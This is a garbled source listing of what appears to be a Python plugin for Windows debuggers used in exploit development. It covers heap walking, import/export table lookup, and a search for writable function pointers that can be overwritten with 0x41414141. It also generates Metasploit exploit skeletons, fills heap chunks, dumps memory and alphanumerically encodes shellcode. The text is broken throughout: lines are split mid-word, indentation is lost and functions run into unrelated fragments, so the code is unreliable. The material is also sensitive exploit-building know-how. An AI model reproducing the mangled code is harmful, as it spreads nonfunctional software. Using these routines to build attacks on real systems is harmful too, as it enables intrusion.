= segments[seg][0]
segend =
segments[seg][1]
segsize
= segend-segstart
FirstEnt
ry = segments[seg][2]
LastVali
dEntry = segments[seg][3]
tolog =
"Segment 0x%08x - 0x%08x (FirstEntry: 0x%08x - LastValidEntry: 0x%08x): 0x%08x b
ytes" % (segstart,segend,FirstEntry,LastValidEntry, segsize)
if infotype == "
virtualallocdblocks":
vablocks
= heapdata
tolog =
"Heap : 0x%08x%s : VirtualAllocdBlocks : %d " % (heapbase,heapbase_extra,len(vac
hunks))
#dbg.log("")
dbg.log(tolog)
if searchtype ==
"chunks" or "stat" in args:
try:
logfile_b.write("Heap: 0x%08x%s" % (heapbase,heapbase_extra),thislog_b)
#logfile_b.write("",thislog_b)
logfile_b.write(tolog,thislog_b)
except:
pass
if infot
ype == "segments":
datablocks = walkSegment(FirstEntry,LastValidEntry,heapbase)
else:
datablocks = heapdata[0]
tolog =
"
tolog)
try:
logfile_b.write(tolog,thislog_b)
except:
pass
if len(d
atablocks) > 0:
tolog = "
_HEAP_ENTRY psize
dbg.log(tolog)
try:
logfile_b.write(tolog,thislog_b)
except:
pass
sortedblocks = []
for block in datablocks:
sortedblocks.append(block)
sortedblocks.sort()
nextblock = 0
segstatinfo = {}
for block in sortedblocks:
showinlog = False
thischunk = datablocks[block]
unused = thischunk.unused
headersize = thischunk.headersize
flagtxt = getHeapFlag(thischunk.flag)
userptr = block + headersize
psize = thischunk.prevsize * 8
blocksize = thischunk.size * 8
selfsize = blocksize
UserSize"
totalalloc = 0
for thissize in segstatinfo:
orderedsizes.append(thissize)
totalalloc += segstatinfo[thissize]
orderedsizes.sort(reverse=True)
tolog = "
Segment Statistics:"
dbg.log(tolog)
try:
logfile_b.write(tolog,thislog_b)
except:
pass
for thissize in orderedsizes:
nrblocks = segstatinfo[thissize]
percentage = (float(nrblocks) / float(totalalloc)) * 100
tolog = "
Size : 0x%x (%d) : %d chunks (%.2f %%)" % (thissize,thissize,nrbloc
ks,percentage)
dbg.log(tolog)
try:
logfile_b.write(tolog,thislog_b)
except:
pass
tolog = "
dbg.log(tolog)
try:
logfile_b.write(tolog,thislog_b)
except:
pass
tolog = ""
try:
logfile_b.write(tolog,thislog_b)
except:
pass
dbg.log("")
dbg.log("")
if "stat" in args and len(statinfo) > 0:
tolog = "Global statistics"
dbg.log(tolog)
try:
logfile_b.write(tolog,thislog_b)
except:
pass
globalstats = {}
allalloc = 0
for seginfo in statinfo:
segmentstats = statinfo[seginfo]
for size in segmentstats:
allalloc += segmentstats
[size]
if not size in globalsta
ts:
globalstats[size
] = segmentstats[size]
else:
globalstats[size
] += segmentstats[size]
orderedstats = []
for size in globalstats:
orderedstats.append(size)
orderedstats.sort(reverse=True)
for thissize in orderedstats:
nrblocks = globalstats[thissize]
percentage = (float(nrblocks) /
float(allalloc)) * 100
tolog = " Size : 0x%x (%d) : %d
chunks (%.2f %%)" % (thissize,thissize,nrblocks,percentage)
dbg.log(tolog)
try:
logfile_b.write(tolog,th
islog_b)
except:
pass
tolog = " Total chunks : %d" % allalloc
dbg.log(tolog)
try:
logfile_b.write(tolog,thislog_b)
except:
pass
#dbg.log("%s" % "*" * 90)
return
def procGetIAT(args):
return procGetxAT(args,"iat")
def procGetEAT(args):
return procGetxAT(args,"eat")
def procFwptr(args):
modulecriteria = {}
criteria = {}
modulecriteria,criteria = args2criteria(args,modulecrite
ria,criteria)
modulestosearch = getModulesToQuery(modulecriteria)
allpages = dbg.getMemoryPages()
orderedpages = []
for page in allpages.keys():
orderedpages.append(page)
orderedpages.sort()
pagestoquery = {}
fwptrs = {}
objwptr = MnLog("wptr.txt")
wptrfile = objwptr.reset()
setbps = False
dopatch = False
dofreelist = False
if "bp" in args:
setbps = True
if "patch" in args:
dopatch = True
if "freelist" in args:
dofreelist = True
chunksize = 0
offset = 0
if "chunksize" in args:
if type(args["chunksize"]).__name__.lower() != "
bool":
try:
if str(args["chunksize"]).lower(
).startswith("0x"):
chunksize = int(args["ch
unksize"],16)
else:
chunksize = int(args["ch
unksize"])
except:
chunksize = 0
if chunksize == 0 or chunksize > 0xffff:
dbg.log("[!] Invalid chunksize specified
")
if chunksize > 0xffff:
dbg.log("[!] Chunksize must be <
= 0xffff")
chunksize == 0
return
else:
dbg.log("[+] Will filter on chunksize 0x
%0x" % chunksize )
if dofreelist:
if "offset" in args:
if type(args["offset"]).__name__.lower()
!= "bool":
try:
if str(args["offset"]).l
ower().startswith("0x"):
offset = int(arg
s["offset"],16)
else:
offset = int(arg
s["offset"])
except:
offset = 0
if offset == 0:
dbg.log("[!] Invalid offset spec
ified")
else:
dbg.log("[+] Will add 0x%0x byte
s between flink/blink and fwptr" % offset )
if not silent:
if setbps:
dbg.log("[+] Will set breakpoints on fou
nd CALL/JMP")
if dopatch:
dbg.log("[+] Will patch target for CALL/
JMP with 0x41414141")
dbg.log("[+] Extracting .text/.code sections fro
m %d modules" % len(modulestosearch))
dbg.updateLog()
if len(modulestosearch) > 0:
for thismodule in modulestosearch:
# find text section
for thispage in orderedpages:
page = allpages[thispage]
pagestart = page.getBaseAddress(
)
pagesize = page.getSize()
ptr = MnPointer(pagestart)
mod = ""
sectionname = ""
try:
mod = ptr.belongsTo()
if mod == thismodule:
sectionname = pa
ge.getSection()
if sectionname =
= ".text" or sectionname == ".code":
pagestoq
uery[mod] = [pagestart,pagestart+pagesize]
break
except:
pass
if len(pagestoquery) > 0:
if not silent:
dbg.log("[+] Analysing .text/.code secti
ons")
dbg.updateLog()
for modname in pagestoquery:
tmodcnt = 0
nr_sizematch = 0
pagestart = pagestoquery[modname][0]
pageend = pagestoquery[modname][1]
if not silent:
dbg.log("
- Carving through %
s (0x%08x - 0x%08x)" % (modname,pagestart,pageend))
dbg.updateLog()
loc = pagestart
while loc < pageend:
try:
thisinstr = dbg.disasm(l
oc)
instrbytes = thisinstr.g
etDump()
if thisinstr.isJmp() or
thisinstr.isCall():
# check if it's
reading a pointer from somewhere
instrtext = this
instr.getDisasm()
opcodepart = ins
trbytes.upper()[0:4]
if opcodepart ==
"FF15" or opcodepart == "FF25":
if "[" i
n instrtext and "]" in instrtext:
parts1 = instrtext.split("[")
if len(parts1) > 1:
parts2 = parts1[1].split("]")
addy = parts2[0]
# get the actual value and check if it's writeable
if "(" in addy and ")" in addy:
parts1 = addy.split("(")
parts2 = parts1[1].split(")")
addy = parts2[0]
if isHexValue(addy):
addyval = hexStrToInt(addy)
access = getPointerAccess(addyval)
if "WRITE" in access:
if meetsCriteria(addyval,criteria):
savetolog = False
sizeinfo = ""
if chunksize == 0:
savetolog = True
else:
# check if this location could acts as a heap chunk for a certain size
# the size field would be placed at the curren location - 8 bytes
# and is 2 bytes large
sizeval = 0
if not dofreelist:
sizeval = struct.unpack('<H',dbg.readMemory(addyval-8,2))[0]
if sizeval >= chunksize:
savetolog = True
nr_sizematch += 1
sizeinfo = " Chunksize: %d (0x%02x) - " % ((sizeval*8),(sizeval*8))
else:
sizeval = struct.unpack('<H',dbg.readMemory(addyval-8-offset,2))[0]
#
flink = struct.unpack('<L',dbg.readMemory(addyval-offset,4))[0]
blink = struct.unpack('<L',dbg.readMemory(addyval+4-offset,4))[0]
aflink = getPointerAccess(flink)
ablink = getPointerAccess(blink)
if "READ" in aflink and "READ" in ablink:
extr = ""
if sizeval == chunksize or sizeval == chunksize + 1:
extr = " **size match**"
nr_sizematch += 1
sizeinfo = " Chunksize: %d (0x%02x)%s, UserPtr 0x%08x, Flink 0x%08x, Blink 0x%08
x - " % ((sizeval*8),(sizeval*8),extr,addyval-offset,flink,blink)
savetolog = True
if savetolog:
fwptrs[loc] = addyval
tmodcnt += 1
ptrx = MnPointer(addyval)
mod = ptrx.belongsTo()
tofile = "0x%08x : 0x%08x gets called from %s at 0x%08x (%s) - %s%s" % (addyval,
addyval,mod,loc,instrtext,sizeinfo,ptrx.__str__())
objwptr.write(tofile,wptrfile)
if setbps:
dbg.setBreakpoint(loc)
if dopatch:
dbg.writeLong(addyval,0x41414141)
if len(instrbytes) > 0:
loc = loc + len(
instrbytes)/2
else:
loc = loc + 1
except:
loc = loc + 1
if not silent:
dbg.log("
Found %d pointers
" % tmodcnt)
if chunksize > 0:
dbg.log("
%d pointe
xatfilename="%ssearch.txt" % mode
objxatfilename = MnLog(xatfilename)
xatfile = objxatfilename.reset()
for thismodule in modulestosearch:
thismod = MnModule(thismodule)
if mode == "iat":
thisxat = thismod.getIAT()
else:
thisxat = thismod.getEAT()
thismodule = thismod.getShortName()
for thisfunc in thisxat:
thisfuncname = thisxat[thisfunc]
.lower()
origfuncname = thisfuncname
firstindex = thisfuncname.find("
.")
if firstindex > 0:
thisfuncname = thisfuncn
ame[firstindex+1:len(thisfuncname)]
addtolist = False
iatptr_modname = ""
theptr = 0
if mode == "iat":
theptr = struct.unpack('
<L',dbg.readMemory(thisfunc,4))[0]
ptrx = MnPointer(theptr)
iatptr_modname = ptrx.be
longsTo()
if not iatptr_modname ==
"" and "." in iatptr_modname:
iatptr_modparts
= iatptr_modname.split(".")
iatptr_modname =
iatptr_modparts[0]
if not "." in origfuncna
me and iatptr_modname != "" and not "!" in origfuncname:
origfuncname = i
atptr_modname.lower() + "." + origfuncname
thisfuncname = o
rigfuncname
if "!" in origfuncname:
oparts = origfun
cname.split("!")
origfuncname = i
atptr_modname + "." + oparts[1]
thisfuncname = o
rigfuncname
if len(keywords) > 0:
for keyword in keywords:
keyword = keywor
d.lower().strip()
if ((keyword.sta
rtswith("*") and keyword.endswith("*")) or keyword.find("*") < 0):
keyword
= keyword.replace("*","")
if thisf
uncname.find(keyword) > -1:
addtolist = True
break
if keyword.start
swith("*") and not keyword.endswith("*"):
keyword
= keyword.replace("*","")
if thisf
uncname.endswith(keyword):
addtolist = True
break
if keyword.endsw
ith("*") and not keyword.startswith("*"):
keyword
= keyword.replace("*","")
if thisf
uncname.startswith(keyword):
addtolist = True
break
else:
addtolist = True
if addtolist:
entriesfound += 1
if mode == "iat":
thedelta = thisf
unc - thismod.moduleBase
logentry = "At 0
x%s in %s (base + 0x%s) : 0x%s (ptr to %s)" % (toHex(thisfunc),thismodule.lower(
),toHex(thedelta),toHex(theptr),origfuncname)
else:
thedelta = thisf
unc - thismod.moduleBase
logentry = "0x%0
8x : %s!%s (0x%08x+0x%08x)" % (thisfunc,thismodule.lower(),origfuncname,thismod.
moduleBase,thedelta)
dbg.log(logentry,address
= thisfunc)
objxatfilename.write(log
entry,xatfile)
if not silent:
dbg.log("")
dbg.log("%d entries found" % entriesfoun
d)
return
#-----Metasploit module skeleton-----#
def procSkeleton(args):
cyclicsize = 5000
if "c" in args:
if type(args["c"]).__name__.lower() != "bool":
try:
cyclicsize = int(args["c"])
except:
cyclicsize = 5000
exploittype = ""
skeletonarg = ""
usecliargs = False
validstypes ={}
validstypes["tcpclient"] = "network client (tcp)"
validstypes["udpclient"] = "network client (udp)"
validstypes["fileformat"] = "fileformat"
exploittypes = [ "fileformat","network client (tcp)","ne
twork client (udp)" ]
errorfound = False
if __DEBUGGERAPP__ == "WinDBG" or "t" in args:
if "t" in args:
if type(args["t"]).__name__.lower() != "
bool":
skeltype = args["t"].lower()
skelparts = skeltype.split(":")
if skelparts[0] in validstypes:
exploittype = validstype
s[skelparts[0]]
if len(skelparts) > 1:
skeletonarg = sk
elparts[1]
else:
errorfound = Tru
e
usecliargs = True
else:
errorfound = True
else:
errorfound = True
else:
errorfound = True
# ask for type of module
else:
dbg.log(" ** Please select a skeleton exploit ty
pe from the dropdown list **",highlight=1)
exploittype = dbg.comboBox("Select msf exploit s
keleton to build :", exploittypes).lower().strip()
if errorfound:
dbg.log(" ** Please specify a valid skeleton typ
e and argument **",highlight=1)
dbg.log("
Valid types are : tcpclient:argumen
t, udpclient:argument, fileformat:argument")
dbg.log("
Example : skeleton for a pdf file f
ormat exploit: -t fileformat:pdf")
dbg.log("
skeleton for tcp client a
gainst port 123: -t tcpclient:123")
return
if not exploittype in exploittypes:
dbg.log("Boo - invalid exploit type, try again !
",highlight=1)
return
portnr = 0
extension = ""
'Targets'
=>\n"
[\n"
[ '<fill in the OS/app version h
ere>',\n"
targetstr
targetstr
targetstr
targetstr
targetstr
+=
+=
+=
+=
+=
"
"
"
"
"
{\n"
'Ret'
=> 0x00000000,\n"
'Offset' => 0\n"
}\n"
],\n"
targetstr += "
],\n"
-1:
connect\n\n"
> -1:
connect_udp\n\n"
buffer = Rex::Text.pattern_create(" +
str(cyclicsize) + ")\n"
if exploittype.find("network") > -1:
exploitstr += "\n
print_status(\"Trying targe
t #{target.name}...\")\n"
if exploittype.find("tcp") > -1:
exploitstr += "
sock.put(buffer)\n"
exploitstr += "\n
handler\n"
elif exploittype.find("udp") > -1:
exploitstr += "
udp_sock.put(buffer)\
n"
exploitstr += "\n
handler(udp_sock)\n
"
if exploittype == "fileformat":
exploitstr += "\n
file_create(buffer)\n\n"
if exploittype.find("network") > -1:
exploitstr += "
disconnect\n\n"
exploitstr += " end\n"
objexploitfile.write(skeletonheader+"\n",exploitfile)
objexploitfile.write(skeletoninit+"\n",exploitfile)
objexploitfile.write(targetstr,exploitfile)
objexploitfile.write(skeletoninit2,exploitfile)
objexploitfile.write(exploitstr,exploitfile)
objexploitfile.write("end",exploitfile)
return
def procFillChunk(args):
reference = ""
fillchar = "A"
allregs = dbg.getRegs()
origreference = ""
deref = False
refreg = ""
offset = 0
signstuff = 1
customsize = 0
if "s" in args:
if type(args["s"]).__name__.lower() != "bool":
sizearg = args["s"]
if sizearg.lower().startswith("0x"):
sizearg = sizearg.lower().replac
e("0x","")
customsize = int(sizearg,16)
else:
customsize = int(sizearg)
if "r" in args:
if type(args["r"]).__name__.lower() != "bool":
# break into pieces
reference = args["r"].upper()
origreference = reference
if reference.find("[") > -1 and referenc
e.find("]") > -1:
refregtmp = reference.replace("[
","").replace("]","").replace(" ","")
if reference.find("+") > -1 or r
eference.find("-") > -1:
# deref with offset
refregtmpparts = []
if reference.find("+") >
-1:
refregtmpparts =
refregtmp.split("+")
signstuff = 1
if reference.find("-") >
-1:
refregtmpparts =
refregtmp.split("-")
signstuff = -1
if len(refregtmpparts) >
1:
offset = int(ref
regtmpparts[1].replace("0X",""),16) * signstuff
deref = True
refreg = refregt
mpparts[0]
if not refreg in
allregs:
dbg.log(
"** Please provide a valid reference using -r reg/reference **")
return
else:
dbg.log("** Plea
se provide a valid reference using -r reg/reference **")
return
else:
# only deref
refreg = refregtmp
deref = True
else:
# no deref, maybe offset
if reference.find("+") > -1 or r
eference.find("-") > -1:
# deref with offset
refregtmpparts = []
refregtmp = reference.re
place(" ","")
if reference.find("+") >
-1:
refregtmpparts =
refregtmp.split("+")
signstuff = 1
if reference.find("-") >
-1:
refregtmpparts =
refregtmp.split("-")
signstuff = -1
if len(refregtmpparts) >
1:
offset = int(ref
regtmpparts[1].replace("0X",""),16) * signstuff
refreg = refregt
mpparts[0]
if not refreg in
allregs:
dbg.log(
"** Please provide a valid reference using -r reg/reference **")
return
else:
dbg.log("** Plea
se provide a valid reference using -r reg/reference **")
return
else:
# only deref
refregtmp = reference.re
place(" ","")
refreg = refregtmp
deref = False
else:
dbg.log("** Please provide a valid refer
ence using -r reg/reference **")
return
else:
dbg.log("** Please provide a valid reference usi
ng -r reg/reference **")
return
if not refreg in allregs:
dbg.log("** Please provide a valid reference usi
ng -r reg/reference **")
return
dbg.log("Ref : %s" % refreg)
dbg.log("Offset : %d (0x%s)" % (offset,toHex(int(str(off
set).replace("-","")))))
dbg.log("Deref ? : %s" % deref)
if "b" in args:
if type(args["b"]).__name__.lower() != "bool":
if args["b"].find("\\x") > -1:
fillchar = hex2bin(args["b"])[0]
else:
fillchar = args["b"][0]
# see if we can read the reference
refvalue = 0
if deref:
refref = 0
try:
refref = allregs[refreg]+offset
except:
if len(infofields) > 7:
chunkptr = hexStrToInt(infofields[0])
userptr = hexStrToInt(infofields[4])
size = hexStrToInt(infofields[5])
dbg.log("Heap chunk found at 0x%08x, siz
e 0x%08x (%d) bytes" % (chunkptr,size,size))
dbg.log("Filling chunk with \\x%s, start
ing at 0x%08x" % (bin2hex(fillchar),userptr))
data = fillchar * size
dbg.writeMemory(userptr,data)
dbg.log("Done")
return
def procInfoDump(args):
allpages = dbg.getMemoryPages()
filename = "infodump.xml"
xmldata = '<info>\n'
xmldata += "<modules>\n"
if len(g_modules) == 0:
populateModuleInfo()
modulestoquery=[]
for thismodule,modproperties in g_modules.iteritems():
xmldata += " <module name='%s'>\n" % thismodule
thisbase = getModuleProperty(thismodule,"base")
thissize = getModuleProperty(thismodule,"size")
xmldata += "
<base>0x%08x</base>\n" % thisbas
e
xmldata += "
<size>0x%08x</size>\n" % thissiz
e
xmldata += " </module>\n"
xmldata += "</modules>\n"
orderedpages = []
for tpage in allpages.keys():
orderedpages.append(tpage)
orderedpages.sort()
if len(orderedpages) > 0:
xmldata += "<pages>\n"
# first dump module info to file
objfile = MnLog(filename)
infofile = objfile.reset(clear=True,showheader=F
alse)
f = open(infofile,"wb")
for line in xmldata.split("\n"):
if line != "":
f.write(line + "\n")
tolog = "Dumping the following pages to file:"
dbg.log(tolog)
tolog = "Start
End
Size
AC
L"
dbg.log(tolog)
for thispage in orderedpages:
page = allpages[thispage]
pagestart = page.getBaseAddress()
pagesize = page.getSize()
ptr = MnPointer(pagestart)
mod = ""
sectionname = ""
ismod = False
isstack = False
isheap = False
try:
mod = ptr.belongsTo()
if mod != "":
ismod = True
except:
mod = ""
if not ismod:
if ptr.isOnStack():
isstack = True
if not ismod and not isstack:
if ptr.isInHeap():
isheap = True
if not ismod and not isstack and not ish
eap:
acl = page.getAccess(human=True)
if not "NOACCESS" in acl:
tolog = "0x%08x - 0x%08x
(0x%08x) %s" % (pagestart,pagestart + pagesize,pagesize,acl)
dbg.log(tolog)
# add page contents to x
ml
thispage = dbg.readMemor
y(pagestart,pagesize)
f.write(" <page start=\
"0x%08x\">\n" % pagestart)
f.write("
<size>0x%08
x</size>\n" % pagesize)
f.write("
<acl>%s</ac
l>\n" % acl)
f.write("
<contents>"
)
memcontents = ""
for thisbyte in thispage
:
memcontents += b
in2hex(thisbyte)
f.write(memcontents)
f.write("</contents>\n")
f.write(" </page>\n")
f.write("</pages>\n")
f.write("</info>")
dbg.log("")
f.close()
dbg.log("Done")
return
def procPEB(args):
"""
Show the address of the PEB
"""
pebaddy = dbg.getPEBAddress()
dbg.log("PEB is located at 0x%08x" % pebaddy,address=peb
addy)
return
def procTEB(args):
"""
Show the address of the TEB for the current thread
"""
tebaddy = dbg.getCurrentTEBAddress()
dbg.log("TEB is located at 0x%08x" % tebaddy,address=teb
addy)
return
def procPageACL(args):
global silent
silent = True
findaddy = 0
if "a" in args:
findaddy,addyok = getAddyArg(args["a"])
if not addyok:
dbg.log("%s is an invalid address" % arg
s["a"], highlight=1)
return
if findaddy > 0:
dbg.log("Displaying page information around addr
ess 0x%08x" % findaddy)
allpages = dbg.getMemoryPages()
dbg.log("Total of %d pages : "% len(allpages))
filename="pageacl.txt"
orderedpages = []
for tpage in allpages.keys():
orderedpages.append(tpage)
orderedpages.sort()
# find indexes to show in case we have specified an addr
ess
toshow = []
previouspage = 0
nextpage = 0
pagefound = False
if findaddy > 0:
for thispage in orderedpages:
page = allpages[thispage]
pagestart = page.getBaseAddress()
pagesize = page.getSize()
pageend = pagestart + pagesize
if findaddy >= pagestart and findaddy <
pageend:
toshow.append(thispage)
pagefound = True
if pagefound and previouspage > 0:
if not previouspage in toshow:
toshow.append(previouspa
ge)
if not thispage in toshow:
toshow.append(thispage)
# nextpage
break
previouspage = thispage
if len(toshow) > 0:
toshow.sort()
orderedpages = toshow
dbg.log("Showing %d pages" % len(orderedpages))
if len(orderedpages) > 0:
objfile = MnLog(filename)
aclfile = objfile.reset()
tolog = "Start
End
Size
AC
L"
dbg.log(tolog)
objfile.write(tolog,aclfile)
for thispage in orderedpages:
page = allpages[thispage]
pagestart = page.getBaseAddress()
pagesize = page.getSize()
ptr = MnPointer(pagestart)
mod = ""
sectionname = ""
try:
mod = ptr.belongsTo()
if not mod == "":
sectionname = page.getSe
ction()
except:
mod = ""
if not mod == "":
mod = "(" + mod + ")"
else:
if ptr.isOnStack():
mod = "(Stack)"
elif ptr.isInHeap():
mod = "(Heap)"
acl = page.getAccess(human=True)
tolog = "0x%08x - 0x%08x (0x%08x) %s %s
%s" % (pagestart,pagestart + pagesize,pagesize,acl,mod, sectionname)
objfile.write(tolog,aclfile)
dbg.log(tolog)
silent = False
return
def procMacro(args):
validcommands = ["run","set","list","del","add","show"]
validcommandfound = False
selectedcommand = ""
for command in validcommands:
if command in args:
validcommandfound = True
selectedcommand = command
break
dbg.log("")
if not validcommandfound:
dbg.log("*** Please specify a valid command. Val
id commands are :")
for command in validcommands:
dbg.log("
-%s" % command)
return
macroname = ""
if "set" in args:
if type(args["set"]).__name__.lower() != "bool":
macroname = args["set"]
if "show" in args:
if type(args["show"]).__name__.lower() != "bool"
:
macroname = args["show"]
if "add" in args:
if type(args["add"]).__name__.lower() != "bool":
macroname = args["add"]
if "del" in args:
if type(args["del"]).__name__.lower() != "bool":
macroname = args["del"]
if "run" in args:
if type(args["run"]).__name__.lower() != "bool":
macroname = args["run"]
filename = ""
index = -1
insert = False
iamsure = False
if "index" in args:
if type(args["index"]).__name__.lower() != "bool
":
index = int(args["index"])
if index < 0:
dbg.log("** Please use a positiv
e integer as index",highlight=1)
if "file" in args:
if type(args["file"]).__name__.lower() != "bool"
:
filename = args["file"]
if filename != "" and index > -1:
dbg.log("** Please either provide an index or a
filename, not both",highlight=1)
return
if "insert" in args:
insert = True
if "iamsure" in args:
iamsure = True
argcommand = ""
if "cmd" in args:
if type(args["cmd"]).__name__.lower() != "bool":
argcommand = args["cmd"]
dbg.setKBDB("monamacro.db")
macros = dbg.getKnowledge("macro")
if macros is None:
macros = {}
if selectedcommand == "list":
for macro in macros:
thismacro = macros[macro]
macronametxt = "Macro : '%s' : %d comman
d(s)" % (macro,len(thismacro))
dbg.log(macronametxt)
dbg.log("")
dbg.log("Number of macros : %d" % len(macros))
if selectedcommand == "show":
if macroname != "":
if not macroname in macros:
[%04
dbg.log("
[%04
d] File:%s" % (macroid,macrocmd[1:]))
else:
d] %s" % (macroid,macrocmd))
nr_of_commands += 1
dbg.log("")
dbg.log("Nr of commands in this
macro : %d" % nr_of_commands)
else:
dbg.log("** Please specify the macroname
to show !",highlight=1)
return
if selectedcommand == "run":
if macroname != "":
if not macroname in macros:
dbg.log("** Macro %s does not ex
ist !" % macroname)
return
else:
macro = macros[macroname]
macronametxt = "Running macro :
%s" % macroname
macroline = "-" * len(macronamet
xt)
dbg.log(macronametxt)
dbg.log(macroline)
thismacro = macro
macrolist = []
for macroid in thismacro:
macrolist.append(macroid
)
macrolist.sort()
for macroid in macrolist:
macrocmd = thismacro[mac
roid]
if macrocmd.startswith("
#"):
dbg.log("Executi
ng script %s" % macrocmd[1:])
output = dbg.nat
iveCommand("$<%s" % macrocmd[1:])
dbg.logLines(out
put)
dbg.log("-" * 40
)
else:
dbg.log("Index %
d : %s" % (macroid,macrocmd))
dbg.log("")
output = dbg.nat
iveCommand(macrocmd)
dbg.logLines(out
put)
dbg.log("-" * 40
)
dbg.log("")
dbg.log("[+] Done.")
else:
dbg.log("** Please specify the macroname
to run !",highlight=1)
return
if selectedcommand == "set":
if macroname != "":
if not macroname in macros:
dbg.log("** Macro %s does not ex
ist !" % macroname)
return
if argcommand == "" and filename == "":
dbg.log("** Please enter a valid
command with parameter -cmd",highlight=1)
return
thismacro = macros[macroname]
if index == -1:
for i in thismacro:
thiscmd = thismacro[i]
if thiscmd.startswith("#
"):
dbg.log("** You
cannot edit a macro that uses a scriptfile.",highlight=1)
dbg.log(" Edit
file %s instead" % thiscmd[1:],highlight=1)
return
if filename == "":
# append to end of the l
ist
# find the next index fi
rst
nextindex = 0
for macindex in thismacr
o:
if macindex >= n
extindex:
nextinde
x = macindex+1
if thismacro.__class__._
_name__ == "dict":
thismacro[nextin
dex] = argcommand
else:
thismacro = {}
thismacro[nextin
dex] = argcommand
else:
thismacro = {}
nextindex = 0
thismacro[0] = "#%s" % f
ilename
macros[macroname] = thismacro
dbg.addKnowledge("macro",macros)
dbg.log("[+] Done, saved new com
mand at index %d." % nextindex)
else:
# user has specified an index
if index in thismacro:
if argcommand == "#":
# remove command
at this index
del thismacro[in
dex]
else:
# if macro alrea
dy contains a file entry, bail out
for i in thismac
ro:
thiscmd
= thismacro[i]
if thisc
md.startswith("#"):
dbg.log("** You cannot edit a macro that uses a scriptfile.",highlight=1)
dbg.log("
return
# index exists overwrite unless -insert was provided too
# remove or inse
rt ?
#print sys.argv
if not insert:
thismacr
o[index] = argcommand
else:
# move t
hings around
# get or
dered list of existing indexes
indexes
= []
for maci
ndex in thismacro:
indexes.append(macindex)
indexes.
sort()
thismacr
o2 = {}
cmdadded
= False
for i in
indexes:
if i < index:
thismacro2[i] = thismacro[i]
elif i == index:
thismacro2[i] = argcommand
thismacro2[i+1] = thismacro[i]
elif i > index:
thismacro2[i+1] = thismacro[i]
thismacr
o = thismacro2
else:
# index does not exist,
add new command to this index
for i in thismacro:
thiscmd = thisma
cro[i]
if thiscmd.start
swith("#"):
dbg.log(
"** You cannot edit a macro that uses a scriptfile.",highlight=1)
dbg.log(
"
dbg.log("** Inde
x %d does not exist, unable to remove the command at that position" % index,high
light=1)
macros[macroname] = thismacro
dbg.addKnowledge("macro",macros)
if argcommand != "#":
dbg.log("[+] Done, saved
new command at index %d." % index)
else:
dbg.log("[+] Done, remov
ed command at index %d." % index)
else:
dbg.log("** Please specify the macroname
to edit !",highlight=1)
return
if selectedcommand == "add":
if macroname != "":
if macroname in macros:
dbg.log("** Macro '%s' already e
f.close()
for c in content:
for a in c:
bytestoe
ncodestr += "\\x%02x" % ord(a)
byteerror = False
except:
dbg.log("*** Error - una
ble to read bytes from %s" % binfile)
dbg.logLines(traceback.f
ormat_exc(),highlight=True)
byteerror = True
else:
byteerror = True
else:
byteerror = True
if "cpb" in args:
if type(args["cpb"]).__name__.lower() != "bool":
badbytes = hex2bin(args["cpb"])
if not encodertype in validencoders:
encodertyperror = True
if bytestoencodestr == "":
byteerror = True
else:
bytestoencode = hex2bin(bytestoencodestr)
if encodertyperror:
dbg.log("*** Please specific a valid encodertype
with parameter -t.",highlight=True)
dbg.log("*** Valid types are: %s" % validencoder
s,highlight=True)
if byteerror:
dbg.log("*** Please specify a valid series of by
tes with parameter -s",highlight=True)
dbg.log("*** or specify a valid path with parame
ter -f",highlight=True)
if encodertyperror or byteerror:
return
else:
cEncoder = MnEncoder(bytestoencode)
encodedbytes = ""
if encodertype == "alphanum":
encodedbytes = cEncoder.encodeAlphaNum(b
adchars = badbytes)
# determine correct sequence of dictiona
ry
if len(encodedbytes) > 0:
logfile = MnLog("encoded_%s.txt"
% encodertype)
thislog = logfile.reset()
if not silent:
dbg.log("")
dbg.log("Results:")
dbg.log("--------")
logfile.write("",thislog)
logfile.write("Results:",thislog
)
logfile.write("--------",thislog
)
encodedindex = []
fulllist_str = ""
fulllist_bin = ""
for i in encodedbytes:
encodedindex.append(i)
for i in encodedindex:
thisline = encodedbytes[
i]
# 0 = bytes
# 1 = info
thislinebytes = "\\x" +
"\\x".join(bin2hex(a) for a in thisline[0])
logline = " %s : %s : %
s" % (thisline[0],thislinebytes,thisline[1])
if not silent:
dbg.log("%s" % l
ogline)
logfile.write(logline,th
islog)
fulllist_str += thisline
bytes
fulllist_bin += thisline
[0]
if not silent:
dbg.log("")
dbg.log("Full encoded st
ring:")
dbg.log("-------------------")
dbg.log("%s" % fulllist_
bin)
logfile.write("",thislog)
logfile.write("Full encoded stri
ng:",thislog)
logfile.write("-------------------",thislog)
logfile.write("%s" % fulllist_bi
n,thislog)
logfile.write("",thislog)
logfile.write("Full encoded hex:
",thislog)
logfile.write("----------------",thislog)
logfile.write("%s" % fulllist_st
r,thislog)
return
def procString(args):
mode = ""
useunicode = False
terminatestring = True
addy = 0
regs = dbg.getRegs()
stringtowrite = ""
# read or write ?
if not "r" in args and not "w" in args:
dbg.log("*** Error: you must indicate if you wan
t to read (-r) or write (-w) ***",highlight=True)
return
addresserror = False
if not "a" in args:
addresserror = True
else:
if type(args["a"]).__name__.lower() != "bool":
# check if it's a register or not
if str(args["a"]).upper() in regs:
addy = regs[str(args["a"].upper(
))]
else:
addy = int(args["a"],16)
else:
addresserror = True
if addresserror:
dbg.log("*** Error: you must specify a valid add
ress with -a ***",highlight=True)
return
if "w" in args:
mode = "write"
if "r" in args:
# read wins, because it's non destructive
mode = "read"
if "u" in args:
useunicode = True
stringerror = False
if "w" in args and not "s" in args:
stringerror = True
if "s" in args:
if type(args["s"]).__name__.lower() != "bool":
stringtowrite = args["s"]
else:
stringerror = True
if "noterminate" in args:
terminatestring = False
if stringerror:
dbg.log("*** Error: you must specify a valid str
ing with -s ***",highlight=True)
return
if mode == "read":
stringinmemory = ""
extra = " "
try:
if not useunicode:
stringinmemory = dbg.readString(
addy)
else:
stringinmemory = dbg.readWString
(addy)
extra = " (unicode) "
validcommandfound = True
selectedcommand = command
break
dbg.log("")
if not validcommandfound:
dbg.log("*** Please specify a valid command. Val
id commands are :")
for command in validcommands:
dbg.log("
-%s" % command)
return
if "id" in args:
if type(args["id"]).__name__.lower() != "bool":
selectedid = args["id"]
if "value" in args:
if type(args["value"]).__name__.lower() != "bool
":
selectedvalue = args["value"]
dbg.log("Knowledgebase database : %s" % dbg.getKBDB())
kb = dbg.listKnowledge()
if selectedcommand == "list":
dbg.log("Number of IDs in Knowledgebase : %d" %
len(kb))
if len(kb) > 0:
if selectedid == "":
dbg.log("IDs :")
dbg.log("-----")
for kbid in kb:
dbg.log(kbid)
else:
